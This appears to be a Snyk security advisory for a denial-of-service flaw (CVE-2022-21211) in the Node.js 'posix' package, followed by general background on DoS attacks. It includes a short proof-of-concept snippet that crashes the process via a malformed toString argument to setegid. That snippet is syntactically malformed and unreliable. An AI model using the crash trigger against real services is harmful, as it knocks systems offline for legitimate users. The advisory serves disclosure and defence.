

Denial of Service (DoS)

Affecting [posix](#) package, versions *

INTRODUCED: 14 FEB 2022 [CVE-2022-21211](#) ?

CWE-400 ?

FIRST ADDED BY SNYK

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How to fix?

There is no fixed version for `posix`.

Overview

[posix](#) is a missing POSIX system calls for Node.

Affected versions of this package are vulnerable to Denial of Service (DoS). When invoking the `toString` method, it will fallback to `0x0` value, as the value of `toString` is not invocable (not a function), and then it will crash with type-check.

PoC

```
const posix = require('posix') try(
  console.log('[!] Trying invocation')
  posix.setegid({toString:1}); console.log('[!]
  Made it!') )catch(e){ console.log('[!] Excepted')
  console.error(e) } console.log("but we ok")
```

Details



Snyk CVSS

Exploit
Maturity

Proof of
concept ?

Attack Complexity High ?

Availability HIGH ?

[See more](#)

> NVD

7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable

in your application, and suggest you quick fixes.

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](#).
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm ws package](#)

Test your applications

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Learn about Denial of Service (DoS) vulnerabilities in an interactive lesson.

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Snyk **SNYK-JS-POSIX-ID 2400719**

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